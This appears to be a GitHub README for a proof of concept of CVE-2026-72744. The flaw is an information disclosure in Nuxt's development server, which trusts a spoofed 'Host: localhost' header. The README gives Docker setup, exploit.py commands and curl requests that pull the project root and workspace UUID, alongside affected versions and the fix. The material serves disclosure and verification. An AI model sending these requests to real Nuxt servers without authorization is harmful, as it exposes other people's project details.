saku0512/cve-2026-72744-pocProof-of-concept exploit for CVE-2026-72744, an information disclosure vulnerability in Nuxt dev server's Chrome DevTools workspace endpoint. Demonstrates the flaw and verifies the fix.
This repository reproduces CVE-2026-72744, an information disclosure in Nuxt's development-only Chrome DevTools workspace endpoint.
The vulnerable server uses attacker-controlled HTTP headers, including Host,
to decide whether a request is local. When the development server is bound to a
network-reachable interface, an unauthenticated client can send Host: localhost
and retrieve the absolute project root and persistent workspace UUID.
The Docker environment runs Nuxt 4.5.0 (vulnerable) and 4.5.1 (fixed) side by side. The PoC does not read or write arbitrary files and does not execute code.
>= 4.4.7, < 4.5.1>= 3.21.7, < 3.21.10The Chrome DevTools project settings feature must be enabled (the default), and the development server must be reachable beyond loopback.
docker compose up -d --build
python3 exploit.py -t http://localhost:3000 --expect vulnerable
python3 exploit.py -t http://localhost:3001 --expect fixed
Expected results:
workspace.root and workspace.uuidManual requests:
curl -i -H 'Host: localhost' \
http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json
curl -i -H 'Host: localhost' \
http://localhost:3001/.well-known/appspecific/com.chrome.devtools.json
Docker port forwarding makes the host-side request appear as a non-loopback peer inside the container, reproducing the relevant LAN-request condition on a single machine.
Cleanup:
docker compose down -v
Upgrade to Nuxt 4.5.1 / 3.21.10 or later. As a workaround, bind the development
server only to loopback or set
experimental.chromeDevtoolsProjectSettings: false.
Use only in environments you own or are explicitly authorized to test.